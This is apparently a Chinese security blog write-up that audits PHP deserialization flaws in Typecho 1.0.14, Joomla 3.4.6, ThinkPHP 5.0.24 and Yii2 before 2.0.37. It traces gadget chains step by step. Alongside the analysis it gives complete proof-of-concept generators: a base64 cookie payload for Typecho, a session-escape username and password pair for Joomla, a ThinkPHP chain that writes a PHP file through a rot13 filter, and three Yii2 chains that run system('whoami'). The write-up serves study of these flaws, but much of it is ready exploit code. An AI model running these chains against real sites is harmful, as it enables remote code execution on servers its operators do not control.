Typecho1.014反序列化导致任意代码执行

这个在做题的时候审过一次,但是那时候刚刚审计,没有审的太明白,现在重新在审一下

我们在install.php找到了反序列化的入口

有两条链子我们可以使用,第一条就是传入这个finish,第二条就是传入start

我们再来看一下上面的

这个当时不理解什么意思

$SERVER['HTTP_REFERER']需要与$_SERVER['HTTP_HOST']的值相等,意思是请求包中的字段 host==referer['host']

那我们就直接在请求的referer的值等于浏览器的值就好了

下面开始分析链子

首先我们就要传入参数,这个参数是__typecho_config值我们可以自己设置,最后进行base64解码

我们进入get方法查看

这个值我们可以post传参也可以cookie传参

下面就是实例化这个对象将这个config的adapter和prefix传进去

我们跟进一下这个对象

这里有个字符串拼接,如果这个adapterName是一个对象,那么发生字符串拼接就会触发这个类的toString方法s

我们全局搜索一下,看看哪里有toString方法

在Confing.php中有一个,但是这个直接返回了实例化的这个对象,没有什么可以利用的

看一下Query.php

这里调用了这个parseSelect方法,如果说这个_adapter是一个对象,但是没有这个parseSelect这个方法,那就会调用该类的__call方法

我们全局搜索一下这个方法

这里面有个人call_user_func_array方法

这两个参数一个是失败时调用的方法名,一个是调用时的参数,这个我们两个都是可控的但是根据上文,$args必须存在

array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了

一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。

最后就是一个toString方法了

这里的toString方法是在Feed.php中

在这个if判断中,这个_type的这个值要等于RSS2才能进去这个判断

下面有一个screeName属性的调用,如果调用一个不能调用的属性就会触发这个类的__get方法

我们看一下有哪个get方法可以触发,在Request.php方法里面有个get方法,这个key就是screeName的值

然后我们跟进一下get方法

我们再次跟进一下这个函数

这个函数可以命令执行

最终的调用链

call_user_func <-- Typecho_Request::_applyFilter <-- Typecho_Request::get <-- Typecho_Request::__get <--  Typecho_Feed::__toString <-- Typecho_Db::__construct

最后的poc

<?php 
class Typecho_Feed{
    private $_items=array();
    private $_type='RSS 2.0';
    public function __construct(){
       $this->_items[0]=array(
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request()     
            );
    }
}
class Typecho_Request{
    private $_filter = array();
    private $_params = array();
    function __construct(){
        $this->_params['screenName'] = 'phpinfo();';
        $this->_filter[0] = 'assert';
    }
}
$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_',
);
print_r(base64_encode(serialize($exp)));
?>

除了这个之外我们还可以用另一个

和上一个接口是一样的

payload

Get ?finish=1

Referer:
Cookie:____typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxMDoicGhwaW5mbygpOyI7fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

Joomal3.4.6反序列化导致任意代码执行

在此之前我们先了解一下前置知识,在进行序列化的时候,如果是protected的属性在序列化的时候前面会有标识符

\x00这个空字符,然而这种空字符是不允许写入mysql数据库中的,在这个Jooma中,即使我们密码错误也会保存到session中这时候,如果

我们的属性是protected的,就会进行替换操作,将这个\x00*\x00替换成\0\0\0

然后我们读取数据的时候,就会进行替换操作,把这个\0\0\0重新替换为\x00*\x00

CTF中叫做反序列化逃逸

首先是三个字节\x00*\x00,进行session储存到mysql数据库时会变成\0\0\0

从三个字节变成了六个字节,在进行反序列化时,重新变成三个字节 少了三个字节

如果少了三个字节,就往后吞三个字节

假如我们构造的更多,就要吞的更多,直到我们可以把一个属性全部吞完

一个属性吞完之后,我们就可以构造出我们想要的属性。

下面有一个小demo(为了方便把\x00替换为N)

<?php
class User {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}
class danger{
    public $cmd;
    public function __construct(){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "1234";
$payload = '";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}';
$password = $password.$payload;
$object = new User($username,$password);
$ser = serialize($object);
$data = str_replace('N*N', '\0\0\0', $ser);
var_dump($data);
echo "</br></br></br></br>";
$result = str_replace('\0\0\0','N*N', $ser);
var_dump($result);
echo "</br></br></br></br>";
$unser = unserialize($result);
var_dump($unser);
?>

最后也是成的将计算机弹出来了

现在我们来分析一下这个框架

先看一下危险函数,在mysqlli.php中

有一个这个函数我们看一下这个里面的参数,这回调函数我们可以自己去构造,但是这里的&$this被写死了

我们不能通过使用eval或者assert来进行命令执行。

这里补充一个知识点,即使这里参数可控,我们也不能用eval进行命令执行

意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者

1=system&2=whoami来执行命令

因为eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

所以我们这个就利用不了

我们看下一个

在这个simplepie.php中

也有一个命令执行函数我们可以利用

经过这三个if判断之后就就可以到达我们这个命令执行函数了

分析一下这个判断

这个判断就是判断一下这两个参数是否为空,只要一个是存在就进入下面的判断

这个判断这个参数是否存在

这个也是判断两个参数,还有后面的判断这个的scheme不为空

这个就是调用了SimplePie_Misc的parse_url这个方法

这里面的scheme是通过get_scheme()方法得到的这个我们可以自己设置

最后就是命令执行

 call_user_func(
      array($this->cache_class, 'create'), 
      $this->cache_location, 
      call_user_func($this->cache_name_function, $this->feed_url), 
      'spc');

我们可以利用里面的那个进行命令执行,这两个属性我们是可控的

虽然实例化了一个SimplePie的类,但是SimplePie类不会自动加载。需要去引入加载类。

/libraries/legacy/simplepie/factory.php

发现刚开始就导入了SimplePie类,并且JSimplepieFactory类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载SimplePie。

payload

<?php
class JSimplepieFactory{}
class JDatabaseDriverMysql{}
class JDatabaseDriverMysqli
{
    protected $abc;
    protected $connection;
    protected $disconnectHandlers;
    function __construct()
    {
        $this->abc = new JSimplepieFactory();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [new SimplePie, "init"],
        ];
    }
}
class SimplePie
{
    var $sanitize;
    var $cache_name_function;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
    }
}
$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);?>

最后我们输入的是

username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password:123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

这个poc也是看p神的博客弄到的,但是里面有东西不太明白

ThinkPHP5.0.24反序列化导致命令执行

原先了解过tp框架,就是一个路由比较重要,还有就是一个App模块

具体分析流程前传参方式,首先介绍一下模块等参数

  • 模块 : application\index,这个index就是一个模块,负责前台相关

  • 控制器 : 在模块中的文件夹controller,即为控制器,负责业务逻辑

  • 操作 : 在控制器中定义的方法,比如在默认文件夹中application\index\controller\Index.php中就有两个方法,index和hello

  • 参数 : 就是定义的操作需要传的参数

这里会用到两种传参方式

1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...

2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...

这里会导入应用目录,加载框架引导文件

当我们请求index的时候

当我们请求test的时候

我们定义一个函数

这里看一下怎么传参

可以用这种方式传

先分析一下反序列化漏洞

这个反序列化是二次开发才能利用

在/application/index/controller/Index.php中添加反序列化反序列化触发点代码

此版本的利用方式是通过反序列化达到写文件的目的。起点在thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct()析构函数

这里面会触发两个函数,这里我们就看一下第二函数就可以

这里会触发__toString()方法,我们全局搜索一下toString方法

我们选择这个文件里面的toString方法,这里调用了toJson()方法,我们跟进一下

调用了toArray(),再次跟进

最后到这个toArray()方法

我们直接看关键代码,这里是调用了getRelationData()方法,这里面的参数我们可控

这里的append的值我们可控,也就是说,这里我方法我们可以随便调用,这里我们选择调用Model类的getError

这个值我们是直接可控的,接着我们看一下下面的这个方法

这里这个参数我们可控,也就是说我们可以随便调用任何类的getRelation

这里选择位于thinkphp/library/think/model/relation/HasOne.php的HasOne类的getRelation方法

这里的query参数我们可控,所以,我们可以利用它来触发call方法

传进去的参数$this->foreignKey也是可控的参数。这里需要全局搜索可以利用的魔术方法__call()。这里选择触发位于thinkphp/library/think/console/Output.php的Output类的__call()方法

跟进Output类中的__call方法

我们看一下这个是调用此类的block,参数是args

我们跟进去看一下

写入标签,在跟进

调用write,再次跟进

这里的handle,我们是可控的,也就是说我们可以调用任意类的write方法

这里选择位于think/session/driver/Memcache.php的Memcache类的write方法 

同样$this->handler可控,这样可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.php的File类的set方法

跟进看一下

这里有个文件写入,我们可以写入东西,看一下参数是否可控

这里的name经过getCacheKey()我们跟进一下

这里的filename是路径加上md5加密过后的名字,这里的名字我们是可控的

看一下这个data,我们是否可控

这个value看一下,经过向上回溯发现这个值是bool

参数不可控,我们往下看

这里调用了setTagITem()我们跟进一下

这里会重新调用这个set方法

因为这个tag我们是可控的,所以这个key是可控的,我们之前分析过这个name是可控的,因为value=name,所以这个value可以可控的

那么我们就可以写入文件内容也知道了文件的名字

这里有个exit死亡绕过,我们可以采用root13编码绕过

整理一下利用链

file_put_contents <- File.php::set() <- Driver.php::setTagItem() <- File.php::set() <- Memcache.php::write() <- Memcache.php::writeln() <- Output.php::block() <- Output.php::__call() <- HasOne.php::getRelation() <- Model.php::getRelationData <- Model.php::getError() <- Model.php::toArray() <- Model.php::toJson() <- Model.php::__toString() <- Windows.php::removeFiles() <- Windows.php::__destruct()

写payload

<?php
    namespace think\session\driver;
    use think\cache\driver\File;
    class Memcached{
        protected $handler = null;
        function __construct(){
            $this->handler = new File();  //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法
        }
    }

    namespace think\cache;
    abstract class Driver{
        function __construct(){}
    }

    namespace think\cache\driver;
    use think\cache\Driver;
    class File extends Driver{  //此处重写File.php::set方法,构造写入的$filename
        protected $tag;
        protected $options = [];
        function __construct(){
            $this->tag = 'nocatch';
            $this->options = [
                'cache_subdir'=>false,
                'prefix'=>'',
                'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',  //rot13编码
                'data_compress'=>false,
            ];
        }
    }

    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->styles = ['removeWhereField'];  
            $this->handle = new Memcached();  //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法
        }
    }

    namespace think\model;
    use think\console\Output;
    abstract class Relation{
          protected $query;
          protected $foreignKey;
          function __construct(){
            $this->query = new Output();  //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
            $this->foreignKey = "aaaaaaaaa";  //参数
        }
    }

    namespace think\model\relation;
    use think\model\Relation;
    abstract class OneToOne extends Relation{}

    namespace think\model\relation;
    class HasOne extends OneToOne{}

    namespace think;
    use think\model\relation\HasOne;
    use think\console\Output;
    abstract class Model{
        protected $append = [];
        protected $error;
        protected $parent;
         function __construct(){
            $this->append = ['bmjoker'=>'getError'];
            $this->error = new HasOne();  //此处赋值$this->error为类HasOne的一个对象
        }
    }

    namespace think\process\pipes;
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];  //此处赋值$filename为类Pivot的一个对象
        }
    }

    namespace think\model;
    use think\Model;
    class Pivot extends Model{}  //此处会自动调用Model类

    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
?>

这个在windows下打不出来

Yii2.0.37反序列化导致命令执行

漏洞版本为<2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases

下载到本地后解压到phpstudy/www目录,修改config/web.php文件里cookieValidationKey的值

在controllers目录上添加

测试一下

成功回显

接下来开始寻找链子

第一条pop链

这条链子还是挺简单的,但是传参的事情我觉得还是很奇怪

首先链子的起点就是

在这个类里面的destruct()方法

我们看到了reset()方法我们跟进一下

这里的参数我们可控,调用了close(),很容易想到这个可以触发__call方法

这里我们选择这个文件的__call方法

我们跟进一下这个format

这里面的参数都是从那个reset()传进来的,这里的formatter为close,这里的arguments是空数组

下面的回调函数调用了getFormatter方法,我们跟进一下

这里的formatters这个参数我们是可控的,可以赋值为我们想要的函数

前几天做过类里面的函数的调用,通过这个回调函数的方法

需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)\)来匹配

首先第一处,文件路径vendor\yiisoft\yii2\rest\IndexAction.php

这两个参数都可控

第二处,文件路径:vendor\yiisoft\yii2\rest\CreateAction.php

和上一个几乎一模一样

接下来就是构造poc

<?php
namespace yii\db {

    use Faker\Generator;
    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }
}
namespace Faker {
    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];

        }
    }
}
namespace yii\rest {

    class IndexAction
    {
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';

        }
    }
}
namespace {
    echo base64_encode(serialize(new yii\db\BatchQueryResult()));
}

第二条pop链

起点在于RunProcess类,文件路径vendor\codeception\codeception\ext\RunProcess.php

这个调用了stopProcess()方法

这里这个参数可控,后面调用了isRuning(),还是会触发_call方法

基本上和后面的一样了,只不过是触发的出口不同

poc

<?php
namespace Codeception\Extension {

    use Faker\Generator;
    class RunProcess
    {
        private $processes;

        public function __construct()
        {
            $this->processes =[new Generator()];
        }
    }
}
namespace Faker {
    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];

        }
    }
}
namespace yii\rest {

    class IndexAction
    {
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';

        }
    }
}
namespace {
    echo base64_encode(serialize(new  Codeception\Extension\RunProcess()));
}

注意就是数组传参的时候,要用[]包裹,在这里传入这个方法名字的时候,名字已经变了

其他的就和上一条链子没有什么区别了

第三条pop链

这是这条链子的入口点

我们进去看一下

这里出现了字符串拼接,可以调用__toString方法

这里选择Deprecated类下的__toString()方法,文件路径vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php

这边还是可以触发__call()方法

poc

<?php
namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;
        public function __construct()
        {
            $this -> path = new Deprecated();
            $this -> keys =  array("just"=>array("for"=>"xxx"));
        }
    }

}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    class Deprecated{
        protected $description;
        public function __construct()
        {
            $this -> description = new Generator() ;
        }

    }
}
namespace Faker {
    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];

        }
    }
}
namespace yii\rest {

    class IndexAction
    {
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';

        }
    }
}
namespace {
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache ));
}

在写poc的时候注意那个全局命名

总结

在审计的过程中也遇到了不少的问题,好在都解决了,对于反序劣化的理解更加深刻

https://www.cnblogs.com/bmjoker/p/13831713.html